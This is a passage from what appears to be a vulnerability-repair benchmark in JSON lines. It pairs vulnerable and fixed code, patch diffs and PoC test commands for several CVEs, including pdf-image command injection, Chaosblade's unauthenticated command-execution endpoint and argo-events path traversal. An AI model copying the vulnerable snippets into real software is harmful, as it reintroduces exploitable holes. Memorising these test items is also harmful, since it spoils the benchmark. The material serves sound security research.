"poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-8132", "cve_description": "Lack of input validation in pdf-image npm package version <= 2.0.0 may allow an attacker to run arbitrary code if PDF file path is constructed based on untrusted user input.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mooz/node-pdf-image", "patch_url": ["https://github.com/mooz/node-pdf-image/commit/15c13846a966c8513e30aff58471163a872b3b6d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_42_1", "commit": "5803471", "file_path": "index.js", "start_line": 25, "end_line": 30, "snippet": "  constructGetInfoCommand: function () {\n    return util.format(\n      \"pdfinfo \\\"%s\\\"\",\n      this.pdfFilePath\n    );\n  },"}, {"id": "vul_js_42_2", "commit": "5803471", "file_path": "index.js", "start_line": 40, "end_line": 57, "snippet": "  getInfo: function () {\n    var self = this;\n    var getInfoCommand = this.constructGetInfoCommand();\n    var promise = new Promise(function (resolve, reject) {\n      exec(getInfoCommand, function (err, stdout, stderr) {\n        if (err) {\n          return reject({\n            message: \"Failed to get PDF'S information\",\n            error: err,\n            stdout: stdout,\n            stderr: stderr\n          });\n        }\n        return resolve(self.parseGetInfoCommandOutput(stdout));\n      });\n    });\n    return promise;\n  },"}], "fix_func": [{"id": "fix_js_42_1", "commit": "15c13846a966c8513e30aff58471163a872b3b6d", "file_path": "index.js", "start_line": 24, "end_line": 29, "snippet": "  constructGetInfoCommand: function () {\n    return {\n      cmd: \"pdfinfo\",\n      args: [this.pdfFilePath]\n    };\n  },"}, {"id": "fix_js_42_2", "commit": "15c13846a966c8513e30aff58471163a872b3b6d", "file_path": "index.js", "start_line": 39, "end_line": 48, "snippet": "  getInfo: function () {\n    var self = this;\n    var getInfoCommand = this.constructGetInfoCommand();\n    return new Promise(function (resolve, reject) {\n      spawn(getInfoCommand.cmd, getInfoCommand.args, { capture: [ 'stdout', 'stderr' ]})\n        .then(function (cmdResult) {\n          resolve(self.parseGetInfoCommandOutput(cmdResult.stdout.toString()));\n        }).catch(reject);\n    });\n  },"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,6 +1,6 @@\n   constructGetInfoCommand: function () {\n-    return util.format(\n-      \"pdfinfo \\\"%s\\\"\",\n-      this.pdfFilePath\n-    );\n+    return {\n+      cmd: \"pdfinfo\",\n+      args: [this.pdfFilePath]\n+    };\n   },\n\n--- a/index.js\n+++ b/index.js\n@@ -1,18 +1,10 @@\n   getInfo: function () {\n     var self = this;\n     var getInfoCommand = this.constructGetInfoCommand();\n-    var promise = new Promise(function (resolve, reject) {\n-      exec(getInfoCommand, function (err, stdout, stderr) {\n-        if (err) {\n-          return reject({\n-            message: \"Failed to get PDF'S information\",\n-            error: err,\n-            stdout: stdout,\n-            stderr: stderr\n-          });\n-        }\n-        return resolve(self.parseGetInfoCommandOutput(stdout));\n-      });\n+    return new Promise(function (resolve, reject) {\n+      spawn(getInfoCommand.cmd, getInfoCommand.args, { capture: [ 'stdout', 'stderr' ]})\n+        .then(function (cmdResult) {\n+          resolve(self.parseGetInfoCommandOutput(cmdResult.stdout.toString()));\n+        }).catch(reject);\n     });\n-    return promise;\n   },\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-8132:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-pdf-image\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-47105", "cve_description": "exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/chaosblade-io/chaosblade", "patch_url": ["https://github.com/chaosblade-io/chaosblade/commit/6bc73c31e14ea2b1bfc30f359e1fe952859d9adc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_221_1", "commit": "0a07380", "file_path": "cli/cmd/cmd.go", "start_line": 23, "end_line": 72, "snippet": "func CmdInit() *baseCommand {\n\tcli := NewCli()\n\tbaseCmd := &baseCommand{\n\t\tcommand: cli.rootCmd,\n\t}\n\t// add version command\n\tbaseCmd.AddCommand(&VersionCommand{})\n\t// add prepare command\n\tprepareCommand := &PrepareCommand{}\n\tbaseCmd.AddCommand(prepareCommand)\n\tprepareCommand.AddCommand(&PrepareJvmCommand{})\n\tprepareCommand.AddCommand(&PrepareCPlusCommand{})\n\n\t// add revoke command\n\tbaseCmd.AddCommand(&RevokeCommand{})\n\n\t// add create command\n\tcreateCommand := &CreateCommand{}\n\tbaseCmd.AddCommand(createCommand)\n\n\t// add destroy command\n\tdestroyCommand := &DestroyCommand{}\n\tbaseCmd.AddCommand(destroyCommand)\n\n\t// add status command\n\tbaseCmd.AddCommand(&StatusCommand{})\n\n\t// add query command\n\tqueryCommand := &QueryCommand{}\n\tbaseCmd.AddCommand(queryCommand)\n\tqueryCommand.AddCommand(&QueryDiskCommand{})\n\tqueryCommand.AddCommand(&QueryNetworkCommand{})\n\tqueryCommand.AddCommand(&QueryJvmCommand{})\n\tqueryCommand.AddCommand(&QueryK8sCommand{})\n\n\t// add server command\n\tserverCommand := &ServerCommand{}\n\tbaseCmd.AddCommand(serverCommand)\n\tserverCommand.AddCommand(&StartServerCommand{})\n\tserverCommand.AddCommand(&StopServerCommand{})\n\tserverCommand.AddCommand(&StatusServerCommand{})\n\n\t// add check command\n\tcheckCommand := &CheckCommand{}\n\tbaseCmd.AddCommand(checkCommand)\n\tcheckCommand.AddCommand(&CheckJavaCommand{})\n\tcheckCommand.AddCommand(&CheckOsCommand{})\n\n\treturn baseCmd\n}"}, {"id": "vul_go_221_2", "commit": "0a07380", "file_path": "cli/cmd/server_start.go", "start_line": 122, "end_line": 133, "snippet": "func (ssc *StartServerCommand) start0() {\n\tgo func() {\n\t\terr := http.ListenAndServe(ssc.ip+\":\"+ssc.port, nil)\n\t\tif err != nil {\n\t\t\tlog.Errorf(context.Background(),\"start blade server error, %v\", err)\n\t\t\t//log.Error(err, \"start blade server error\")\n\t\t\tos.Exit(1)\n\t\t}\n\t}()\n\tRegister(\"/chaosblade\")\n\tutil.Hold()\n}"}, {"id": "vul_go_221_3", "commit": "0a07380", "file_path": "cli/cmd/server_start.go", "start_line": 135, "end_line": 152, "snippet": "func Register(requestPath string) {\n\thttp.HandleFunc(requestPath, func(writer http.ResponseWriter, request *http.Request) {\n\t\terr := request.ParseForm()\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(writer, spec.ReturnFail(spec.ParameterRequestFailed, err.Error()).Print())\n\t\t\treturn\n\t\t}\n\t\tcmds := request.Form[\"cmd\"]\n\t\tif len(cmds) != 1 {\n\t\t\tfmt.Fprintf(writer, spec.ResponseFailWithFlags(spec.ParameterLess, \"cmd\").Print())\n\t\t\treturn\n\t\t}\n\t\tctx := context.WithValue(context.Background(), \"mode\", \"server\")\n\t\tresponse := channel.NewLocalChannel().Run(ctx, path.Join(util.GetProgramPath(), \"blade\"), cmds[0])\n\t\tlog.Debugf(ctx, \"Server response: %v\", response)\n\t\tfmt.Fprintf(writer, response.Print())\n\t})\n}"}], "fix_func": [{"id": "fix_go_221_1", "commit": "6bc73c31e14ea2b1bfc30f359e1fe952859d9adc", "file_path": "cli/cmd/cmd.go", "start_line": 23, "end_line": 67, "snippet": "func CmdInit() *baseCommand {\n\tcli := NewCli()\n\tbaseCmd := &baseCommand{\n\t\tcommand: cli.rootCmd,\n\t}\n\t// add version command\n\tbaseCmd.AddCommand(&VersionCommand{})\n\t// add prepare command\n\tprepareCommand := &PrepareCommand{}\n\tbaseCmd.AddCommand(prepareCommand)\n\tprepareCommand.AddCommand(&PrepareJvmCommand{})\n\tprepareCommand.AddCommand(&PrepareCPlusCommand{})\n\n\t// add revoke command\n\tbaseCmd.AddCommand(&RevokeCommand{})\n\n\t// add create command\n\tcreateCommand := &CreateCommand{}\n\tbaseCmd.AddCommand(createCommand)\n\n\t// add destroy command\n\tdestroyCommand := &DestroyCommand{}\n\tbaseCmd.AddCommand(destroyCommand)\n\n\t// add status command\n\tbaseCmd.AddCommand(&StatusCommand{})\n\n\t// add query command\n\tqueryCommand := &QueryCommand{}\n\tbaseCmd.AddCommand(queryCommand)\n\tqueryCommand.AddCommand(&QueryDiskCommand{})\n\tqueryCommand.AddCommand(&QueryNetworkCommand{})\n\tqueryCommand.AddCommand(&QueryJvmCommand{})\n\tqueryCommand.AddCommand(&QueryK8sCommand{})\n\n\t// UPDATE 2023-12-30 Disable server command mode.\n\n\t// add check command\n\tcheckCommand := &CheckCommand{}\n\tbaseCmd.AddCommand(checkCommand)\n\tcheckCommand.AddCommand(&CheckJavaCommand{})\n\tcheckCommand.AddCommand(&CheckOsCommand{})\n\n\treturn baseCmd\n}"}, {"id": "fix_go_221_2", "commit": "6bc73c31e14ea2b1bfc30f359e1fe952859d9adc", "file_path": "cli/cmd/server_start.go", "start_line": 122, "end_line": 133, "snippet": "func (ssc *StartServerCommand) start0() {\n\tgo func() {\n\t\terr := http.ListenAndServe(ssc.ip+\":\"+ssc.port, nil)\n\t\tif err != nil {\n\t\t\tlog.Errorf(context.Background(), \"start blade server error, %v\", err)\n\t\t\t//log.Error(err, \"start blade server error\")\n\t\t\tos.Exit(1)\n\t\t}\n\t}()\n\tRegister(\"/chaosblade\")\n\tutil.Hold()\n}"}, {"id": "fix_go_221_3", "commit": "6bc73c31e14ea2b1bfc30f359e1fe952859d9adc", "file_path": "cli/cmd/server_start.go", "start_line": 135, "end_line": 139, "snippet": "func Register(requestPath string) {\n\thttp.HandleFunc(requestPath, func(writer http.ResponseWriter, request *http.Request) {\n\t\tfmt.Fprintf(writer, spec.ReturnFail(spec.CommandIllegal, \"Server mode is disabled\").Print())\n\t})\n}"}], "vul_patch": "--- a/cli/cmd/cmd.go\n+++ b/cli/cmd/cmd.go\n@@ -33,12 +33,7 @@\n \tqueryCommand.AddCommand(&QueryJvmCommand{})\n \tqueryCommand.AddCommand(&QueryK8sCommand{})\n \n-\t// add server command\n-\tserverCommand := &ServerCommand{}\n-\tbaseCmd.AddCommand(serverCommand)\n-\tserverCommand.AddCommand(&StartServerCommand{})\n-\tserverCommand.AddCommand(&StopServerCommand{})\n-\tserverCommand.AddCommand(&StatusServerCommand{})\n+\t// UPDATE 2023-12-30 Disable server command mode.\n \n \t// add check command\n \tcheckCommand := &CheckCommand{}\n\n--- a/cli/cmd/server_start.go\n+++ b/cli/cmd/server_start.go\n@@ -2,7 +2,7 @@\n \tgo func() {\n \t\terr := http.ListenAndServe(ssc.ip+\":\"+ssc.port, nil)\n \t\tif err != nil {\n-\t\t\tlog.Errorf(context.Background(),\"start blade server error, %v\", err)\n+\t\t\tlog.Errorf(context.Background(), \"start blade server error, %v\", err)\n \t\t\t//log.Error(err, \"start blade server error\")\n \t\t\tos.Exit(1)\n \t\t}\n\n--- a/cli/cmd/server_start.go\n+++ b/cli/cmd/server_start.go\n@@ -1,18 +1,5 @@\n func Register(requestPath string) {\n \thttp.HandleFunc(requestPath, func(writer http.ResponseWriter, request *http.Request) {\n-\t\terr := request.ParseForm()\n-\t\tif err != nil {\n-\t\t\tfmt.Fprintf(writer, spec.ReturnFail(spec.ParameterRequestFailed, err.Error()).Print())\n-\t\t\treturn\n-\t\t}\n-\t\tcmds := request.Form[\"cmd\"]\n-\t\tif len(cmds) != 1 {\n-\t\t\tfmt.Fprintf(writer, spec.ResponseFailWithFlags(spec.ParameterLess, \"cmd\").Print())\n-\t\t\treturn\n-\t\t}\n-\t\tctx := context.WithValue(context.Background(), \"mode\", \"server\")\n-\t\tresponse := channel.NewLocalChannel().Run(ctx, path.Join(util.GetProgramPath(), \"blade\"), cmds[0])\n-\t\tlog.Debugf(ctx, \"Server response: %v\", response)\n-\t\tfmt.Fprintf(writer, response.Print())\n+\t\tfmt.Fprintf(writer, spec.ReturnFail(spec.CommandIllegal, \"Server mode is disabled\").Print())\n \t})\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26294", "cve_description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. In Vela compiler before version 0.6.1 there is a vulnerability which allows exposure of server configuration. It impacts all users of Vela. An attacker can use Sprig's `env` function to retrieve configuration information, see referenced GHSA for an example. This has been fixed in version 0.6.1. In addition to upgrading, it is recommended to rotate all secrets.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/go-vela/compiler", "patch_url": ["https://github.com/go-vela/compiler/commit/f1ace5f8a05c95c4d02264556e38a959ee2d9bda"], "programing_language": "Go", "vul_func": [{"id": "vul_go_5_1", "commit": "adf85cc6f434c069476eb3401cb9d9c1ea854585", "file_path": "template/native/render.go", "start_line": 16, "end_line": 51, "snippet": "func Render(tmpl string, s *types.Step) (types.StepSlice, error) {\n\tbuffer := new(bytes.Buffer)\n\tconfig := new(types.Build)\n\n\tvelaFuncs := funcHandler{envs: convertPlatformVars(s.Environment)}\n\ttemplateFuncMap := map[string]interface{}{\n\t\t\"vela\": velaFuncs.returnPlatformVar,\n\t}\n\n\t// parse the template with Masterminds/sprig functions\n\t//\n\t// https://pkg.go.dev/github.com/Masterminds/sprig?tab=doc#TxtFuncMap\n\tt, err := template.New(s.Name).Funcs(sprig.TxtFuncMap()).Funcs(templateFuncMap).Parse(tmpl)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to parse template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// apply the variables to the parsed template\n\terr = t.Execute(buffer, s.Template.Variables)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to execute template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// unmarshal the template to the pipeline\n\terr = yaml.Unmarshal(buffer.Bytes(), config)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to unmarshal yaml: %v\", err)\n\t}\n\n\t// ensure all templated steps have template prefix\n\tfor index, newStep := range config.Steps {\n\t\tconfig.Steps[index].Name = fmt.Sprintf(\"%s_%s\", s.Name, newStep.Name)\n\t}\n\n\treturn config.Steps, nil\n}"}], "fix_func": [{"id": "fix_go_5_1", "commit": "f1ace5f8a05c95c4d02264556e38a959ee2d9bda", "file_path": "template/native/render.go", "start_line": 16, "end_line": 58, "snippet": "func Render(tmpl string, s *types.Step) (types.StepSlice, error) {\n\tbuffer := new(bytes.Buffer)\n\tconfig := new(types.Build)\n\n\tvelaFuncs := funcHandler{envs: convertPlatformVars(s.Environment)}\n\ttemplateFuncMap := map[string]interface{}{\n\t\t\"vela\": velaFuncs.returnPlatformVar,\n\t}\n\t// modify Masterminds/sprig functions\n\t// to remove OS functions\n\t//\n\t// https://masterminds.github.io/sprig/os.html\n\tsf := sprig.TxtFuncMap()\n\tdelete(sf, \"env\")\n\tdelete(sf, \"expandenv\")\n\n\t// parse the template with Masterminds/sprig functions\n\t//\n\t// https://pkg.go.dev/github.com/Masterminds/sprig?tab=doc#TxtFuncMap\n\tt, err := template.New(s.Name).Funcs(sf).Funcs(templateFuncMap).Parse(tmpl)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to parse template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// apply the variables to the parsed template\n\terr = t.Execute(buffer, s.Template.Variables)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to execute template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// unmarshal the template to the pipeline\n\terr = yaml.Unmarshal(buffer.Bytes(), config)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to unmarshal yaml: %v\", err)\n\t}\n\n\t// ensure all templated steps have template prefix\n\tfor index, newStep := range config.Steps {\n\t\tconfig.Steps[index].Name = fmt.Sprintf(\"%s_%s\", s.Name, newStep.Name)\n\t}\n\n\treturn config.Steps, nil\n}"}], "vul_patch": "--- a/template/native/render.go\n+++ b/template/native/render.go\n@@ -6,11 +6,18 @@\n \ttemplateFuncMap := map[string]interface{}{\n \t\t\"vela\": velaFuncs.returnPlatformVar,\n \t}\n+\t// modify Masterminds/sprig functions\n+\t// to remove OS functions\n+\t//\n+\t// https://masterminds.github.io/sprig/os.html\n+\tsf := sprig.TxtFuncMap()\n+\tdelete(sf, \"env\")\n+\tdelete(sf, \"expandenv\")\n \n \t// parse the template with Masterminds/sprig functions\n \t//\n \t// https://pkg.go.dev/github.com/Masterminds/sprig?tab=doc#TxtFuncMap\n-\tt, err := template.New(s.Name).Funcs(sprig.TxtFuncMap()).Funcs(templateFuncMap).Parse(tmpl)\n+\tt, err := template.New(s.Name).Funcs(sf).Funcs(templateFuncMap).Parse(tmpl)\n \tif err != nil {\n \t\treturn types.StepSlice{}, fmt.Errorf(\"unable to parse template %s: %v\", s.Template.Name, err)\n \t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26294:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/compiler\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestNative_Render_DisallowedFunc_Env$ github.com/go-vela/compiler/template/native\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26294:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/compiler\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestNative_Render)$' github.com/go-vela/compiler/template/native"}
{"cve_id": "CVE-2023-22736", "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions starting with 2.5.0-rc1 and above, prior to 2.5.8, and version 2.6.0-rc4, are vulnerable to an authorization bypass bug which allows a malicious Argo CD user to deploy Applications outside the configured allowed namespaces. Reconciled Application namespaces are specified as a comma-delimited list of glob patterns. When sharding is enabled on the Application controller, it does not enforce that list of patterns when reconciling Applications. For example, if Application namespaces are configured to be argocd-*, the Application controller may reconcile an Application installed in a namespace called other, even though it does not start with argocd-. Reconciliation of the out-of-bounds Application is only triggered when the Application is updated, so the attacker must be able to cause an update operation on the Application resource. This bug only applies to users who have explicitly enabled the \"apps-in-any-namespace\" feature by setting `application.namespaces` in the argocd-cmd-params-cm ConfigMap or otherwise setting the `--application-namespaces` flags on the Application controller and API server components. The apps-in-any-namespace feature is in beta as of this Security Advisory's publish date. The bug is also limited to Argo CD instances where sharding is enabled by increasing the `replicas` count for the Application controller. Finally, the AppProjects' `sourceNamespaces` field acts as a secondary check against this exploit. To cause reconciliation of an Application in an out-of-bounds namespace, an AppProject must be available which permits Applications in the out-of-bounds namespace. A patch for this vulnerability has been released in versions 2.5.8 and 2.6.0-rc5. As a workaround, running only one replica of the Application controller will prevent exploitation of this bug. Making sure all AppProjects' sourceNamespaces are restricted within the confines of the configured Application namespaces will also prevent exploitation of this bug.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/1f82078e7463228477e6c2cd959c14e7426c99d7", "https://github.com/argoproj/argo-cd/commit/9b6815f06f0f58ecd7240999e6b32cf16ebd0d9e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_61_1", "commit": "16f2de0", "file_path": "./controller/appcontroller.go", "start_line": 1771, "end_line": 1791, "snippet": "func (ctrl *ApplicationController) canProcessApp(obj interface{}) bool {\n\tapp, ok := obj.(*appv1.Application)\n\tif !ok {\n\t\treturn false\n\t}\n\tif ctrl.clusterFilter != nil {\n\t\tcluster, err := ctrl.db.GetCluster(context.Background(), app.Spec.Destination.Server)\n\t\tif err != nil {\n\t\t\treturn ctrl.clusterFilter(nil)\n\t\t}\n\t\treturn ctrl.clusterFilter(cluster)\n\t}\n\n\t// Only process given app if it exists in a watched namespace, or in the\n\t// control plane's namespace.\n\tif app.Namespace != ctrl.namespace && !glob.MatchStringInList(ctrl.applicationNamespaces, app.Namespace, false) {\n\t\treturn false\n\t}\n\n\treturn true\n}"}], "fix_func": [{"id": "fix_go_61_1", "commit": "9b6815f", "file_path": "./controller/appcontroller.go", "start_line": 1771, "end_line": 1792, "snippet": "func (ctrl *ApplicationController) canProcessApp(obj interface{}) bool {\n\tapp, ok := obj.(*appv1.Application)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// Only process given app if it exists in a watched namespace, or in the\n\t// control plane's namespace.\n\tif app.Namespace != ctrl.namespace && !glob.MatchStringInList(ctrl.applicationNamespaces, app.Namespace, false) {\n\t\treturn false\n\t}\n\n\tif ctrl.clusterFilter != nil {\n\t\tcluster, err := ctrl.db.GetCluster(context.Background(), app.Spec.Destination.Server)\n\t\tif err != nil {\n\t\t\treturn ctrl.clusterFilter(nil)\n\t\t}\n\t\treturn ctrl.clusterFilter(cluster)\n\t}\n\n\treturn true\n}"}], "vul_patch": "--- a/./controller/appcontroller.go\n+++ b/./controller/appcontroller.go\n@@ -3,6 +3,13 @@\n \tif !ok {\n \t\treturn false\n \t}\n+\n+\t// Only process given app if it exists in a watched namespace, or in the\n+\t// control plane's namespace.\n+\tif app.Namespace != ctrl.namespace && !glob.MatchStringInList(ctrl.applicationNamespaces, app.Namespace, false) {\n+\t\treturn false\n+\t}\n+\n \tif ctrl.clusterFilter != nil {\n \t\tcluster, err := ctrl.db.GetCluster(context.Background(), app.Spec.Destination.Server)\n \t\tif err != nil {\n@@ -11,11 +18,5 @@\n \t\treturn ctrl.clusterFilter(cluster)\n \t}\n \n-\t// Only process given app if it exists in a watched namespace, or in the\n-\t// control plane's namespace.\n-\tif app.Namespace != ctrl.namespace && !glob.MatchStringInList(ctrl.applicationNamespaces, app.Namespace, false) {\n-\t\treturn false\n-\t}\n-\n \treturn true\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-22736:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^Test_canProcessApp$ github.com/argoproj/argo-cd/v2/controller\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-25856", "cve_description": "The package github.com/argoproj/argo-events/sensors/artifacts before 1.7.1 are vulnerable to Directory Traversal in the (g *GitArtifactReader).Read() API in git.go. This could allow arbitrary file reads if the GitArtifactReader is provided a pathname containing a symbolic link or an implicit directory name such as ...", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/argoproj/argo-events", "patch_url": ["https://github.com/argoproj/argo-events/commit/d0f66dbce78bc31923ca057b20fc722aa24ca961"], "programing_language": "Go", "vul_func": [{"id": "vul_go_135_1", "commit": "e80ab9f", "file_path": "sensors/artifacts/git.go", "start_line": 42, "end_line": 47, "snippet": "var (\n\tfetchRefSpec = []config.RefSpec{\n\t\t\"refs/*:refs/*\",\n\t\t\"HEAD:refs/heads/HEAD\",\n\t}\n)"}, {"id": "vul_go_135_2", "commit": "e80ab9f", "file_path": "sensors/artifacts/git.go", "start_line": 54, "end_line": 58, "snippet": "func NewGitReader(gitArtifact *v1alpha1.GitArtifact) (*GitArtifactReader, error) {\n\treturn &GitArtifactReader{\n\t\tartifact: gitArtifact,\n\t}, nil\n}"}, {"id": "vul_go_135_3", "commit": "e80ab9f", "file_path": "sensors/artifacts/git.go", "start_line": 106, "end_line": 181, "snippet": "func (g *GitArtifactReader) readFromRepository(r *git.Repository, dir string) ([]byte, error) {\n\tauth, err := g.getGitAuth()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif g.artifact.Remote != nil {\n\t\t_, err := r.CreateRemote(&config.RemoteConfig{\n\t\t\tName: g.artifact.Remote.Name,\n\t\t\tURLs: g.artifact.Remote.URLS,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to create remote. err: %+v\", err)\n\t\t}\n\n\t\tfetchOptions := &git.FetchOptions{\n\t\t\tRemoteName: g.artifact.Remote.Name,\n\t\t\tRefSpecs:   fetchRefSpec,\n\t\t\tForce:      true,\n\t\t}\n\t\tif auth != nil {\n\t\t\tfetchOptions.Auth = auth\n\t\t}\n\n\t\tif err := r.Fetch(fetchOptions); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to fetch remote %s. err: %+v\", g.artifact.Remote.Name, err)\n\t\t}\n\t}\n\n\tw, err := r.Worktree()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get working tree. err: %+v\", err)\n\t}\n\n\tfetchOptions := &git.FetchOptions{\n\t\tRemoteName: g.getRemote(),\n\t\tRefSpecs:   fetchRefSpec,\n\t\tForce:      true,\n\t}\n\tif auth != nil {\n\t\tfetchOptions.Auth = auth\n\t}\n\n\t// In the case of a specific given ref, it isn't necessary to fetch anything\n\t// but the single ref\n\tif g.artifact.Ref != \"\" {\n\t\tfetchOptions.Depth = 1\n\t\tfetchOptions.RefSpecs = []config.RefSpec{config.RefSpec(g.artifact.Ref + \":\" + g.artifact.Ref)}\n\t}\n\n\tif err := r.Fetch(fetchOptions); err != nil && err != git.NoErrAlreadyUpToDate {\n\t\treturn nil, fmt.Errorf(\"failed to fetch. err: %v\", err)\n\t}\n\n\tif err := w.Checkout(g.getBranchOrTag()); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to checkout. err: %+v\", err)\n\t}\n\n\t// In the case of a specific given ref, it shouldn't be necessary to pull\n\tif g.artifact.Ref != \"\" {\n\t\tpullOpts := &git.PullOptions{\n\t\t\tRecurseSubmodules: git.DefaultSubmoduleRecursionDepth,\n\t\t\tReferenceName:     g.getBranchOrTag().Branch,\n\t\t\tForce:             true,\n\t\t}\n\t\tif auth != nil {\n\t\t\tpullOpts.Auth = auth\n\t\t}\n\n\t\tif err := w.Pull(pullOpts); err != nil && err != git.NoErrAlreadyUpToDate {\n\t\t\treturn nil, fmt.Errorf(\"failed to pull latest updates. err: %+v\", err)\n\t\t}\n\t}\n\n\treturn ioutil.ReadFile(fmt.Sprintf(\"%s/%s\", dir, g.artifact.FilePath))\n}"}], "fix_func": [{"id": "fix_go_135_1", "commit": "d0f66db", "file_path": "sensors/artifacts/git.go", "start_line": 44, "end_line": 51, "snippet": "var (\n\tfetchRefSpec = []config.RefSpec{\n\t\t\"refs/*:refs/*\",\n\t\t\"HEAD:refs/heads/HEAD\",\n\t}\n\n\tnotAllowedInPath = []string{\"..\", \"~\", \"\\\\\"}\n)"}, {"id": "fix_go_135_2", "commit": "d0f66db", "file_path": "sensors/artifacts/git.go", "start_line": 58, "end_line": 71, "snippet": "func NewGitReader(gitArtifact *v1alpha1.GitArtifact) (*GitArtifactReader, error) {\n\tif gitArtifact == nil {\n\t\treturn nil, fmt.Errorf(\"nil git artifact\")\n\t}\n\tfor _, na := range notAllowedInPath {\n\t\tif strings.Contains(gitArtifact.FilePath, na) {\n\t\t\treturn nil, fmt.Errorf(\"%q is not allowed in the filepath\", na)\n\t\t}\n\t}\n\n\treturn &GitArtifactReader{\n\t\tartifact: gitArtifact,\n\t}, nil\n}"}, {"id": "fix_go_135_3", "commit": "d0f66db", "file_path": "sensors/artifacts/git.go", "start_line": 119, "end_line": 202, "snippet": "func (g *GitArtifactReader) readFromRepository(r *git.Repository, dir string) ([]byte, error) {\n\tauth, err := g.getGitAuth()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif g.artifact.Remote != nil {\n\t\t_, err := r.CreateRemote(&config.RemoteConfig{\n\t\t\tName: g.artifact.Remote.Name,\n\t\t\tURLs: g.artifact.Remote.URLS,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to create remote. err: %+v\", err)\n\t\t}\n\n\t\tfetchOptions := &git.FetchOptions{\n\t\t\tRemoteName: g.artifact.Remote.Name,\n\t\t\tRefSpecs:   fetchRefSpec,\n\t\t\tForce:      